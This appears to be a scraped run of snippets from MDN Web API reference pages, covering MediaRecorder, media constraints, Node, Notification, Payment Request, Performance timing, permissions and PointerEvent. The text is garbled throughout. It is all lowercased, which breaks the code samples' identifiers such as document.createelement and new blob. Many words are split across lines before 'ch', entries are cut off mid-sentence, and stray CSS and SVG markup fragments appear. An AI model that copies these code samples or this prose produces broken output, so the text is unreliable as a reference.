chunks = []; mediarecorder.addeventlistener('stop', (event) => { console.log("data available after mediarecorder.stop() called."); var audio = document.createelement('audio'); audio.controls = true; var blob = new blob(
chunks, { 'type' : 'audio/ogg; codecs=opus' }); var audiourl = window.url.createobjecturl(blob); audio.src = audiourl; console.log("recorder stopped"); }); mediarecor...
...der.addeventlistener('dataavailable', (event) => {
chunks.push(event.data); }); ...
... var
chunks = []; mediarecorder.onstop = function(e) { console.log("data available after mediarecorder.stop() called."); var audio = document.createelement('audio'); audio.controls = true; var blob = new blob(
chunks, { 'type' : 'audio/ogg; codecs=opus' }); var audiourl = window.url.createobjecturl(blob); audio.src = audiourl; console.log("recorder stopped"); } mediarecorder.ondataavailable = function(e) {
chunks.push(e.data); } ...
MediaRecorder.ignoreMutedMedia - Web APIs
if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetignoremutedmedia deprecatednon-standard
chrome no support 49 — 57edge no support nofirefox ?
... ie no support noopera no support 36 — 44safari no support nowebview android no support 49 — 57
chrome android no support 49 — 57firefox android ?
MediaSessionActionDetails.fastSeek - Web APIs
the boolean property fastseek in the mediasessionactiondetails dictionary is an optional value whi
ch, when specified and true, indicates that the requested seekto operation is part of an ongoing series of seekto operations.
... your handler should take steps to return as quickly as possible by skipping any steps of its operation whi
ch are only necessary when the seek operation is complete.
... syntax let mediasessionactiondetails = { fastseek: shouldfastseek }; let shouldfastseek = mediasessionactiondetails.fastseek; value a boolean whi
ch is true if the action is part of an ongoing series of seek actions whi
ch should be treated as part of an overall seek operation.
MediaSessionActionDetails.seekTime - Web APIs
to
change the time by an offset rather than moving to an absolute time, the seekforward or seekbackward actions should be used instead.
... syntax let mediasessionactiondetails = { seektime: abstimeinseconds }; let abstime = mediasessionactiondetails.seektime; value a floating-point value indicating the absolute time in seconds into the media to whi
ch to move the current play position.
... usage notes to perform a "fast" seek (su
ch as when issuing multiple seekto actions in sequence while handling a scrubbing operation, the details object's fastseek property's value is set to true, indicating that you should minimize or eliminate anything you do while handling the action that is only necessary at the final step.
MediaStream.ended - Web APIs
the ended read-only property of the mediastream interface returns a boolean value whi
ch is true if the stream has been completely read, or false if the end of the stream has not been rea
ched.
... this property has been removed from the specification; you should instead rely on the ended event or
check the value of mediastreamtrack.readystate to see if its value is "ended" for the track or tracks you want to ensure have finished playing.
... syntax var hasended = mediastream.ended; value a boolean value that returns true if the end of the stream has been rea
ched.
MediaStream.getVideoTracks() - Web APIs
return value an array of mediastreamtrack objects, one for ea
ch video track contained in the media stream.
... early versions of this api included a special videostreamtrack interface whi
ch was used as the type for ea
ch entry in the list of video streams; however, this has since been merged into the main mediastreamtrack interface.
... example the following example, extracted from
chrome's image capture / photo resolution sample, uses getvideotracks() to retrieve a track for passing to the imagecapture() constructor.
MediaStreamAudioSourceNode.mediaStream - Web APIs
the mediastreamaudiosourcenode interface's read-only mediastream property indicates the mediastream that contains the audio track from whi
ch the node is receiving audio.
... syntax audiosourcestream = mediastreamaudiosourcenode.mediastream; value a mediastream representing the stream whi
ch contains the mediastreamtrack serving as the source of audio for the node.
...however, there is no way to be certain whi
ch track that will be on multi-track streams.
MediaStreamConstraints.audio - Web APIs
or: darkgreen; } javascript content let audioelement = document.getelementbyid("audio"); let logelement = document.getelementbyid("log"); function log(msg) { logelement.innerhtml += msg + "<br>"; } document.getelementbyid("startbutton").addeventlistener("click", function() { navigator.mediadevices.getusermedia({ audio: true }).then(stream => audioelement.srcobject = stream) .cat
ch(err => log(err.name + ": " + err.message)); }, false); here we see an event handler for a click event whi
ch uses getusermedia() to obtain an audio-only stream with no specific constraints, then atta
ches the resulting stream to an <audio> element once the stream is returned.
...px; color: white; background-color: darkgreen; } javascript content let audioelement = document.getelementbyid("audio"); let logelement = document.getelementbyid("log"); function log(msg) { logelement.innerhtml += msg + "<br>"; } document.getelementbyid("startbutton").addeventlistener("click", function() { navigator.mediadevices.getusermedia({ audio: { samplesize: 8, e
chocancellation: true } }).then(stream => audioelement.srcobject = stream) .cat
ch(err => log(err.name + ": " + err.message)); }, false); here we see an event handler for a click event whi
ch calls getusermedia(), specifying a set of audio constraints requesting that e
cho cancellation be enabled and that, if possible, the sample rate be 8 bits per sample instead of the more common 16 bits (...
...as long as an audio input device is available and the user allows it to be used, an audio track will be included in the resulting stream, and it will mat
ch the specified constraints as well as possible.
MediaStreamConstraints.video - Web APIs
: darkgreen; } javascript content let videoelement = document.getelementbyid("video"); let logelement = document.getelementbyid("log"); function log(msg) { logelement.innerhtml += msg + "<br>"; } document.getelementbyid("startbutton").addeventlistener("click", function() { navigator.mediadevices.getusermedia({ video: true }).then(stream => videoelement.srcobject = stream) .cat
ch(err => log(err.name + ": " + err.message)); }, false); here we see an event handler for a click event whi
ch uses getusermedia() to obtain a video-only stream with no specific constraints, then atta
ches the resulting stream to a <video> element once the stream is returned.
...lementbyid("video"); let logelement = document.getelementbyid("log"); function log(msg) { logelement.innerhtml += msg + "<br>"; } document.getelementbyid("startbutton").addeventlistener("click", function() { navigator.mediadevices.getusermedia({ video: { width: 160, height: 120, framerate: 15 } }).then(stream => videoelement.srcobject = stream) .cat
ch(err => log(err.name + ": " + err.message)); }, false); here we see an event handler for a click event whi
ch calls getusermedia(), specifying a set of video constraints that indicate a preference for a video track whose dimensions are as close as possible to 160x120 pixels, and whose frame rate is as close to 15 frames per second as possible.
... as long as a video input device is available and the user allows it to be used, a video track will be included in the resulting stream, and it will mat
ch the specified constraints as well as possible.
MediaStreamTrack.getCapabilities() - Web APIs
the getcapabilities() method of the mediastreamtrack interface returns a mediatrackcapabilities object whi
ch specifies the values or range of values whi
ch ea
ch constrainable property, based upon the platform and user agent.
... once you know what the browser's capabilities are, your script can use applyconstraints() to ask for the track to be configured to mat
ch ideal or acceptable settings.
... syntax const capabilities = track.getcapabilities() return value a mediatrackcapabilities object whi
ch specifies the value or range of values whi
ch are supported for ea
ch of the user agent's supported constrainable properties.
MediaStreamTrack.getSettings() - Web APIs
the getsettings() method of the mediastreamtrack interface returns a mediatracksettings object containing the current values of ea
ch of the constrainable properties for the current mediastreamtrack.
... note: the returned object identifies the current values of every constrainable property, including those whi
ch are platform defaults rather than having been expressly set by the site's code.
... to instead fet
ch the most-recently established constraints for the track's properties, as specified by the site's code, use getconstraints().
MediaStreamTrack.onunmute - Web APIs
su
ch an event is sent when the track is again able to send data.
... syntax track.onunmute = unmutehandler; value unmutehandler is a function whi
ch is called when the mediastreamtrack receives the unmute event.
... example this example creates an unmute event handler whi
ch changes the state of a visual indicator to display the emoji
character representing a "speaker" icon.
MediaStreamTrack.readyState - Web APIs
syntax const state = track.readystate value it takes one of the following values: "live" whi
ch indicates that an input is connected and does its best-effort in providing real-time data.
... in that case, the output of data can be swit
ched on or off using the mediastreamtrack.enabled property.
... "ended" whi
ch indicates that the input is not giving any more data and will never provide new data.
MediaStreamTrack.stop() - Web APIs
examples stopping a video stream in this example, we see a function whi
ch stops a streamed video by calling stop() on every track on a given <video>.
... function stopstreamedvideo(videoelem) { const stream = videoelem.srcobject; const tracks = stream.gettracks(); tracks.forea
ch(function(track) { track.stop(); }); videoelem.srcobject = null; } this works by obtaining the video element's stream from its srcobject property.
...from there, all that remains to do is to iterate over the track list using forea
ch() and calling ea
ch track's stop() method.
MediaStreamTrackAudioSourceNode() - Web APIs
another way to create a mediastreamtrackaudiosourcenode is to call theaudiocontext.createmediastreamtracksource() method, specifying the mediastreamtrack from whi
ch you want to obtain audio.
... options a mediastreamtrackaudiosourceoptions object defining the properties you want the mediastreamtrackaudiosourcenode to have: mediastreamtrack the mediastreamtrack from whi
ch to take audio data for this node's output.
...dow.webkitaudiocontext)(); if (navigator.mediadevices.getusermedia) { navigator.mediadevices.getusermedia ( { audio: true, video: false }).then(function(stream) { let options = { mediastreamtrack: stream.getaudiotracks()[0]; } let source = new mediastreamtrackaudiosourcenode(audioctx, options); source.connect(audioctx.destination); }).cat
ch(function(err) { console.log('the following gum error occured: ' + err); }); } else { console.log('new getusermedia not supported on your browser!'); } specifications specification status comment web audio apithe definition of 'mediastreamtrackaudiosourcenode()' in that specification.
MediaStreamTrackAudioSourceOptions.mediaStreamTrack - Web APIs
the mediastreamtrackaudiosourceoptions dictionary's mediastreamtrack property must contain a reference to the mediastreamtrack from whi
ch the mediastreamtrackaudiosourcenode being created using the mediastreamtrackaudiosourcenode() constructor.
... syntax mediastreamtrackaudiosourceoptions = { mediastreamtrack: audiosourcetrack; } mediastreamtrackaudiosourceoptions.mediastreamtrack = audiosourcetrack; value a mediastreamtrack from whi
ch the audio output of the new mediastreamtrackaudiosourcenode will be taken.
...dow.webkitaudiocontext)(); if (navigator.mediadevices.getusermedia) { navigator.mediadevices.getusermedia ( { audio: true, video: false }).then(function(stream) { let options = { mediastreamtrack: stream.getaudiotracks()[0]; } let source = new mediastreamtrackaudiosourcenode(audioctx, options); source.connect(audioctx.destination); }).cat
ch(function(err) { console.log('the following gum error occured: ' + err); }); } else { console.log('new getusermedia not supported on your browser!'); } specifications specification status comment web audio apithe definition of 'mediastreamtrackaudiosourceoptions.mediastream' in that specification.
MediaTrackConstraints.deviceId - Web APIs
if needed, you can determine whether or not this constraint is supported by
checking the value of mediatracksupportedconstraints.deviceid as returned by a call to mediadevices.getsupportedconstraints().
... syntax var constraintsobject = { deviceid: constraint }; constraintsobject.deviceid = constraint; value an object based on constraindomstring specifying one or more acceptable, ideal, and/or exact (mandatory) device ids whi
ch are acceptable as the source of media content.
... an exception to the rule that device ids are the same across browsing sessions: private browsing mode will use a different id, and will
change it ea
ch browsing session.
MediaTrackConstraints.groupId - Web APIs
if needed, you can determine whether or not this constraint is supported by
checking the value of mediatracksupportedconstraints.groupid as returned by a call to mediadevices.getsupportedconstraints().
... syntax var constraintsobject = { groupid: constraint }; constraintsobject.groupid = constraint; value an object based on constraindomstring specifying one or more acceptable, ideal, and/or exact (mandatory) group ids whi
ch are acceptable as the source of media content.
...that means that a given track will only return one value for the groupid when you call getcapabilities(), and keep in mind that this value will
change for ea
ch browsing session.
MediaTrackConstraints.latency - Web APIs
if needed, you can determine whether or not this constraint is supported by
checking the value of mediatracksupportedconstraints.latency as returned by a call to mediadevices.getsupportedconstraints().
...otherwise, the value of this constraindouble will guide the user agent in its efforts to provide an exact mat
ch to the required latency (if exact is specified or both min and max are provided and have the same value) or to a best-possible value.
... latency is always prone to some variation due to hardware usage demands, network constraints, and so forth, so even in an "exact" mat
ch, some variation should be expected.
MediaTrackControls.volume - Web APIs
if needed, you can determine whether or not this constraint is supported by
checking the value of mediatracksupportedconstraints.volume as returned by a call to mediadevices.getsupportedconstraints().
...otherwise, the value of this constraindouble will guide the user agent in its efforts to provide an exact mat
ch to the required volume (if exact is specified or both min and max are provided and have the same value) or to a best-possible value.
... any constraint set whi
ch only permits values outside the range 0.0 to 1.0 cannot be satisfied and will result in failure.
MediaTrackSettings.autoGainControl - Web APIs
automatic gain control is a feature in whi
ch a sound source automatically manages
changes in the volume of its source media to maintain a steady overall volume level.
... if needed, you can determine whether or not this constraint is supported by
checking the value of mediatracksupportedconstraints.autogaincontrol as returned by a call to mediadevices.getsupportedconstraints().
... syntax var autogaincontrol = mediatracksettings.autogaincontrol; value a boolean value whi
ch is true if the track has automatic gain control enabled or false if agc is disabled.
Node.getRootNode() - Web APIs
the getrootnode() method of the node interface returns the context object's root, whi
ch optionally includes the shadow root if it is available.
...(see the full source code): <!-- source: https://github.com/jserz/js_piece/blob/master/dom/node/getrootnode()/demo/getrootnode.html --> <div class="js-parent"> <div class="js-
child"></div> </div> <div class="js-shadowhost"></div> <script> // works on
chrome 54+,opera 41+ var parent = document.queryselector('.js-parent'),
child = document.queryselector('.js-
child'), shadowhost = document.queryselector('.js-shadowhost'); console.log(parent.getrootnode().nodename); // #document console.log(
child.getrootnode().nodename); // #document // create a sh...
...adowroot var shadowroot = shadowhost.atta
chshadow({mode:'open'}); shadowroot.innerhtml = '<style>div{background:#2bb8aa;}</style>' + '<div class="js-shadow
child">content</div>'; var shadow
child = shadowroot.queryselector('.js-shadow
child'); // the default value of composed is false console.log(shadow
child.getrootnode() === shadowroot); // true console.log(shadow
child.getrootnode({composed:false}) === shadowroot); // true console.log(shadow
child.getrootnode({composed:true}).nodename); // #document </script> specifications specification status comment domthe definition of 'getrootnode()' in that specification.
Node.isSupported() - Web APIs
this is the same name whi
ch can be passed to the method hasfeature on domimplementation.
... example <div id="doc"> </div> <script> // get an element and
check to see if its supports the dom2 html module.
... obsolete no
change from document object model (dom) level 2 core specification.
Node.textContent - Web APIs
for other node types, textcontent returns the concatenation of the textcontent of every
child node, excluding comments and processing instructions.
... (this is an empty string if the node has no
children.) setting textcontent on a node removes all of the node's
children and replaces them with a single text node with the given string value.
...(reflows can be computationally expensive, and thus should be avoided when possible.) unlike textcontent, altering innertext in internet explorer (version 11 and below) removes
child nodes from the element and permanently destroys all descendant text nodes.
Notification.maxActions - Web APIs
effectively, this is the maximum number of elements in notification.actions array whi
ch will be respected by the user agent.
... syntax notification.maxactions value an integer number whi
ch indicates the largest number of notification actions that can be presented to the user by the user agent and the device.
... const maxactions = notification.maxactions; console.log('this device can display at most ' + maxactions + ' actions on ea
ch notification.'); specifications specification status comment notifications api living standard living standard ...
NotificationEvent.notification - Web APIs
the notification provides read-only access to many properties that were set at the instantiation time of the notification su
ch as tag and data attributes that allow you to store information for defered use in the notificationclick event.
... example self.addeventlistener('notificationclick', function(event) { console.log('on notification click'); // data can be atta
ched to the notification so that you // can process it in the notificationclick handler.
... console.log('notification tag:', event.notification.tag); console.log('notification data:', event.notification.data); event.notification.close(); // this looks to see if the current is already open and // focuses if it is event.waituntil(clients.mat
chall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) return client.focus(); } if (clients.openwindow) return clients.openwindow('/'); })); }); specifications specification status comment notifications apithe definition of 'notification' in that specification.
NotifyAudioAvailableEvent - Web APIs
there may also be large incompatibilities between implementations and the behavior may
change in the future.
...the data is a series of audio samples, ea
ch sample containing one 32-bit value per audio
channel.
... time a floating-point value indicating the time in seconds at whi
ch the first sample in the framebuffer occurs, relative to the start of the audio track.
OES_vertex_array_object.createVertexArrayOES() - Web APIs
the oes_vertex_array_object.createvertexarrayoes() method of the webgl api creates and initializes a webglvertexarrayobject object that represents a vertex array object (vao) pointing to vertex array data and whi
ch provides names for different sets of vertex data.
... return value a webglvertexarrayobject representing a vertex array object (vao) whi
ch points to vertex array data.
...// calls to bindbuffer or vertexattribpointer // whi
ch will be "recorded" in the vao // ...
OES_vertex_array_object - Web APIs
the oes_vertex_array_object extension is part of the webgl api and provides vertex array objects (vaos) whi
ch encapsulate vertex array states.
... constants this extension exposes one new constant, whi
ch can be used in the gl.getparameter() method: ext.vertex_array_binding_oes returns a webglvertexarrayobject object when used in the gl.getparameter() method as the pname parameter.
...// calls to bindbuffer or vertexattribpointer // whi
ch will be "recorded" in the vao // ...
OfflineAudioContext.startRendering() - Web APIs
the startrendering() method of the offlineaudiocontext interface starts rendering the audio graph, taking into account the current connections and the current s
cheduled
changes.
...the former will eventually be removed, but currently both me
chanisms are provided for legacy reasons.
...rtrendering().then(function(renderedbuffer) { console.log('rendering completed successfully'); var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var song = audioctx.createbuffersource(); song.buffer = renderedbuffer; song.connect(audioctx.destination); play.onclick = function() { song.start(); } }).cat
ch(function(err) { console.log('rendering failed: ' + err); // note: the promise should reject when startrendering is called a second time on an offlineaudiocontext }); }); } request.send(); } // run getdata to start the process off getdata(); specifications specification status comment web audio apithe definition of 'startrendering()' i...
PannerNode.positionY - Web APIs
the complete vector is defined by the position of the audio source, given as (positionx, positiony, positionz), and the orientation of the audio source (that is, the direction in whi
ch it's facing), given as (orientationx, orientationy, orientationz).
... the audioparam contained by this property is read only; however, you can still
change the value of the parameter by assigning a new value to its audioparam.value property.
...note that in this case, the
change will mainly affect the timbre of the oscillator, as it's a simple mono wave.
PannerNode.positionZ - Web APIs
the complete vector is defined by the position of the audio source, given as (positionx, positiony, positionz), and the orientation of the audio source (that is, the direction in whi
ch it's facing), given as (orientationx, orientationy, orientationz).
... the audioparam contained by this property is read only; however, you can still
change the value of the parameter by assigning a new value to its audioparam.value property.
...note that in this case, the
change will mainly affect the timbre and perceived volume of the sound.
PannerNode.setPosition() - Web APIs
you might be moving a
character around inside a game world for example, and wanting delivery of audio to
change realistically as your
character moves closer to or further away from a music player su
ch as a stereo.
... in the example you can see this being controlled by the functions moveright(), moveleft(), etc., whi
ch set new values for the panner position via the positionpanner() function.
... to see a complete implementation,
check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound
changes!
PasswordCredential.idName - Web APIs
the idname property of the passwordcredential interface returns a usvstring, representing the name that will be used for the id field, when submitting the current object to a remote endpoint via fet
ch.
... this property defaults to 'username', but may be set to mat
ch whatever your backend service expects.
... syntax var idname = passwordcredential.idname passwordcredential.idname = "userid" value a usvstring represents the name used for the id field, when submitting the current object to a remote endpoint via fet
ch.
PasswordCredential.passwordName - Web APIs
the passwordname property of the passwordcredential interface returns a usvstring, depicting the name used by the password field, when submitting the current object to a remote endpoint via fet
ch.
... this property defaults to 'password', but may be mat
ched to anything your backend service expects.
... syntax var passwordname = passwordcredential.passwordname passwordcredential.passwordname = "passcode" value a usvstring representing the password field name, used when submitting the current object to a remote endpoint via fet
ch.
Path2D.addPath() - Web APIs
(te
chnically a dommatrixinit object).
... html <canvas id="canvas"></canvas> javascript first, we create two separate path2d objects, ea
ch of whi
ch contains a rectangle made using the rect() method.
...finally, we draw the first path (whi
ch now contains both rectangles) using fill().
PaymentAddress.addressLine - Web APIs
the addressline read-only property of the paymentaddress interface is an array of domstring objects, ea
ch specifying a line of the address that is not covered by one of the other properties of paymentaddress.
... syntax var paymentaddresslines = paymentaddress.addressline; value an array of domstring objects, ea
ch containing one line of the address.
...he mozilla space in london would have the following entries: example showing addressline entries for an address in london index addressline[] value 0 metal box factory 1 suite 441, 4th floor 2 30 great guildford street these, combined with additional values for other properties of the paymentaddress, would represent the full address, whi
ch is: mozilla metal box factory suite 441, 4th floor 30 great guildford street london se1 0hs united kingdom specifications specification status comment payment request apithe definition of 'paymentaddress.addressline' in that specification.
PaymentCurrencyAmount.currency - Web APIs
the paymentcurrencyamount property currency is a string whi
ch specifies the currency in whi
ch the value is specified.
... syntax currency = paymentcurrencyamount.currency; value a domstring specifying the canonical, three-
character currency identification code defined by the iso 4217 standard.
... this is the currency in whi
ch the payment's value is given.
PaymentCurrencyAmount.value - Web APIs
an optional leading minus sign ("-") can be included to indicate a negative value, su
ch as to represent a refund or discount.
... for uniformity and consistency, the value is always given using the period (".") as the decimal
character, regardless of the user's locale.
...ars: let itemprice = { currency: "usd", value: "42.95" }; this example specifies a price of £7.77: let shippingcost = { currency: "gbp", value: "7.77" } this example specifies a price of 1000¥: let price = { currency: "jpy", value: "1000" } verifying a properly formatted price you can ensure that the value entered as a price is formatted correctly prior to submission by mat
ching it against a simple regular expression: function
checkpriceformat(price) { let validregex = /^-?[0-9]+(\.[0-9]+)?$/; return validregex.test(price); } this function,
checkpriceformat(), will return true if the specified price string is formatted properly, or false if it's not.
PaymentDetailsBase - Web APIs
properties displayitemsoptional an array of paymentitem objects, ea
ch describing one line item for the payment request.
... modifiersoptional an array of paymentdetailsmodifier objects, ea
ch describing a modifier for particular payment method identifiers.
... shippingoptionsoptional an array of paymentshippingoption objects, ea
ch describing one available shipping option from whi
ch the user may
choose.
PaymentRequestEvent() - Web APIs
the paymentrequestevent constructor creates a new paymentrequestevent object whi
ch is a constructor for a paymentrequestevent whi
ch is the object passed to a payment handler when a paymentrequest is made..
... options optional options are as follows: instrumentkey: a paymentinstrument object reflecting the payment instrument selected by the user or an empty string if the user has not registered or
chosen a payment instrument.
... modifiers: an array of objects containing
changes to payment details.
performance.getEntriesByName() - Web APIs
type optional the type of entry to retrieve su
ch as "mark".
...the items will be in
chronological order based on the entries' starttime.
...performance.mark not supported"); return; } // create some performance entries via the mark() method performance.mark("begin"); do_work(50000); performance.mark("end"); performance.mark("begin"); do_work(100000); performance.mark("end"); do_work(200000); performance.mark("end"); // use getentries() to iterate through the ea
ch entry var p = performance.getentries(); for (var i=0; i < p.length; i++) { log("entry[" + i + "]");
check_performanceentry(p[i]); } // use getentries(name, entrytype) to get specific entries p = performance.getentries({name : "begin", entrytype: "mark"}); for (var i=0; i < p.length; i++) { log("begin[" + i + "]");
check_performanceentry(p[i]); } // use getentries...
performance.getEntriesByType() - Web APIs
syntax entries = window.performance.getentriesbytype(type); arguments type the type of entry to retrieve su
ch as "mark".
...the items will be in
chronological order based on the entries' starttime.
...performance.mark not supported"); return; } // create some performance entries via the mark() method performance.mark("begin"); dowork(50000); performance.mark("end"); performance.mark("begin"); dowork(100000); performance.mark("end"); dowork(200000); performance.mark("end"); // use getentries() to iterate through the ea
ch entry var p = performance.getentries(); for (var i=0; i < p.length; i++) { log("entry[" + i + "]");
checkperformanceentry(p[i]); } // use getentries(name, entrytype) to get specific entries p = performance.getentries({name : "begin", entrytype: "mark"}); for (var i=0; i < p.length; i++) { log("begin[" + i + "]");
checkperformanceentry(p[i]); } // use getentriesby...
PerformanceEntry.duration - Web APIs
if the duration concept doesn't apply for a particular performance metric, the browser may
choose to return a duration of 0.
...performance.mark not supported"); return; } // create some performance entries via the mark() method performance.mark("begin"); do_work(50000); performance.mark("end"); // use getentries() to iterate through the ea
ch entry var p = performance.getentries(); for (var i=0; i < p.length; i++) { log("entry[" + i + "]");
check_performanceentry(p[i]); } } function
check_performanceentry(obj) { var properties = ["name", "entrytype", "starttime", "duration"]; var methods = ["tojson"]; for (var i=0; i < properties.length; i++) { //
check ea
ch property var supported = properties[i] in obj; ...
... if (supported) log("..." + properties[i] + " = " + obj[properties[i]]); else log("..." + properties[i] + " = not supported"); } for (var i=0; i < methods.length; i++) { //
check ea
ch method var supported = typeof obj[methods[i]] == "function"; if (supported) { var js = obj[methods[i]](); log("..." + methods[i] + "() = " + json.stringify(js)); } else { log("..." + methods[i] + " = not supported"); } } } specifications specification status comment performance timeline level 2the definition of 'duration' in that specification.
PerformanceEntry.entryType - Web APIs
the entrytype property returns a domstring representing the type of performance metric su
ch as, for example, "mark".
...this value doesn't
change even if the request is redirected.
... function run_performanceentry() { //
check for feature support before continuing if (performance.mark === undefined) { console.log("performance.mark not supported"); return; } // create a performance entry named "begin" via the mark() method performance.mark("begin"); //
check the entrytype of all the "begin" entries var entriesnamedbegin = performance.getentriesbyname("begin"); for (var i=0; i < entriesnamedbegi...
PerformanceEntry.name - Web APIs
this value doesn't
change even if the request is redirected.
...performance.mark not supported"); return; } // create some performance entries via the mark() method performance.mark("begin"); do_work(50000); performance.mark("end"); // use getentries() to iterate through the ea
ch entry var p = performance.getentries(); for (var i=0; i < p.length; i++) { log("entry[" + i + "]");
check_performanceentry(p[i]); } } function
check_performanceentry(obj) { var properties = ["name", "entrytype", "starttime", "duration"]; var methods = ["tojson"]; for (var i=0; i < properties.length; i++) { //
check ea
ch property var supported = properties[i] in obj; ...
... if (supported) log("..." + properties[i] + " = " + obj[properties[i]]); else log("..." + properties[i] + " = not supported"); } for (var i=0; i < methods.length; i++) { //
check ea
ch method var supported = typeof obj[methods[i]] == "function"; if (supported) { var js = obj[methods[i]](); log("..." + methods[i] + "() = " + json.stringify(js)); } else { log("..." + methods[i] + " = not supported"); } } } specifications specification status comment performance timeline level 2the definition of 'name' in that specification.
PerformanceFrameTiming - Web APIs
a frame represents the amount of work a browser does in one event loop su
ch as processing dom events, resizing, scrolling, rendering, css animations, etc..
... an application can register a performanceobserver for "frame" performance entry types and the observer can retrieve data about the duration of ea
ch frame event.
...yle="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/performanceframetiming" target="_top"><rect x="1" y="1" width="220" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="111" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">performanceframetiming</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but it extends the following performanceentry properties (for "frame" performance entry types) by qualifying and constraining the properties as follows: performanceentry.entrytype returns "frame".
PerformancePaintTiming - Web APIs
;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/performanceentry" target="_top"><rect x="1" y="1" width="160" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="81" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">performanceentry</text></a><polyline points="161,25 171,20 171,30 161,25" stroke="#d4dde4" fill="none"/><line x1="171" y1="25" x2="201" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/performancepainttiming" target="_top"><rect x="201" y="1" width="220" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="311" y="30" font-size...
...="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">performancepainttiming</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but it extends the following performanceentry properties (for "paint" performance entry types) by qualifying and constraining the properties as follows: performanceentry.entrytype returns "paint".
... example function showpainttimings() { if (window.performance) { let performance = window.performance; let performanceentries = performance.getentriesbytype('paint'); performanceentries.forea
ch( (performanceentry, i, entries) => { console.log("the time to " + performanceentry.name + " was " + performanceentry.starttime + " milliseconds."); }); } else { console.log('performance timing isn\'t supported.'); } } the code above produces console output something like the following: the time to first-paint was 2785.915 milliseconds.
PerformanceResourceTiming.responseEnd - Web APIs
the responseend read-only property returns a timestamp immediately after the browser receives the last byte of the resource or immediately before the transport connection is closed, whi
chever comes first.
... syntax resource.responseend; return value a domhighrestimestamp immediately after the browser receives the last byte of the resource or immediately before the transport connection is closed, whi
chever comes first.
...source" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { print_start_and_end_properties(p[i]); } } function print_start_and_end_properties(perfentry) { // print timestamps of the performanceentry *start and *end properties properties = ["connectstart", "connectend", "domainlookupstart", "domainlookupend", "fet
chstart", "redirectstart", "redirectend", "requeststart", "responsestart", "responseend", "secureconnectionstart"]; for (var i=0; i < properties.length; i++) { //
check ea
ch property var supported = properties[i] in perfentry; if (supported) { var value = perfentry[properties[i]]; console.log("...
PerformanceTiming.domInteractive - Web APIs
the legacy performancetiming.dominteractive read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epo
ch, when the parser finished its work on the main document, that is when its document.readystate
changes to 'interactive' and the corresponding readystate
change event is thrown.
...nevertheless there are a few caveats that happens if scripts are blocking rendering and not loaded asyn
chronously or with custom web fonts.
...
check if you are in one of these cases before using this property as a proxy for the user experience of a web site's speed of loading.
Using the Performance API - Web APIs
the domhighrestimestamp type (a double) is used by all performance interfaces to hold su
ch time values.
... high precision timing high precision timing is a
chieved by using the domhighrestimestamp type for time values.
...ation objects var perf = json.parse(s); var timing = perf.timing; o.innerhtml += "<p>peformance.timing = " + json.stringify(timing) + "</p>"; var navigation = perf.navigation; o.innerhtml += "<p>peformance.navigation = " + json.stringify(navigation) + "</p>"; } } specifications the interfaces described in this document are defined in the high resolution time standard whi
ch has two levels: high-resolution time level 2; editors draft; work in progress high-resolution time; w3c recommendation 17 december 2012 interoperability as shown in the performance interface's browser compatibility table, most of the performance interfaces are broadly implemented by desktop browsers.
Using Performance Timeline - Web APIs
performance extensions performance timeline extends the performance object with three methods that provide different me
chanisms to get a set of performance records (metrics), depending on the specified filter criteria.
...ormanceentry(ev) { var properties = ["name", "entrytype", "starttime", "duration"]; // create a few performance entries performance.mark("start"); do_work(50000); performance.mark("stop"); performance.measure("measure-1"); var p = performance.getentries(); for (var i=0; i < p.length; i++) { log("perfentry[" + i + "]"); for (var j=0; j < properties.length; j++) { //
check ea
ch property in window.performance var supported = properties[j] in p[i]; if (supported) { var pe = p[i]; log("...
... specifications the interfaces described in this document are defined in the performance timeline standard whi
ch has two levels: performance timeline level 2; editors draft; work in progress.
PermissionStatus - Web APIs
the permissionstatus interface of the permissions api provides the state of an object and an event handler for monitoring
changes to said state.
... event handler permissionstatus.on
change an event called whenever permissionstatus.status
changes.
... example navigator.permissions.query({name:'geolocation'}).then(function(permissionstatus) { console.log('geolocation permission status is ', permissionstatus.state); permissionstatus.on
change = function() { console.log('geolocation permission status has
changed to ', this.state); }; }); specification specification status comment permissionsthe definition of 'permissionstatus' in that specification.
Point - Web APIs
point is an interface, whi
ch existed only briefly in the css transforms level 1 specification, whi
ch represents a point in 2-dimensional space.
... although it is not directly related to this defunct interface, you are probably looking for dompoint, whi
ch is part of the geometry interfaces module level 1 specification.
... specifications this class was specified in the defunct 20 mar
ch 2009 working draft of css 2d transforms module level 3.
PointerEvent.pointerType - Web APIs
the pointertype read-only property of the pointerevent interface indicates the device type (mouse, pen, or tou
ch) that caused a given pointer event.
... "tou
ch" the event was generated by a tou
ch, su
ch as a finger.
... targetelement.addeventlistener('pointerdown', function(event) { // call the appropriate pointer type handler swit
ch (event.pointertype) { case 'mouse': process_pointer_mouse(event); break; case 'pen': process_pointer_pen(event); break; case 'tou
ch': process_pointer_tou
ch(event); break; default: console.log(`pointertype ${event.pointertype} is not suported`); } }, false); specifications specification status comment pointer ev...
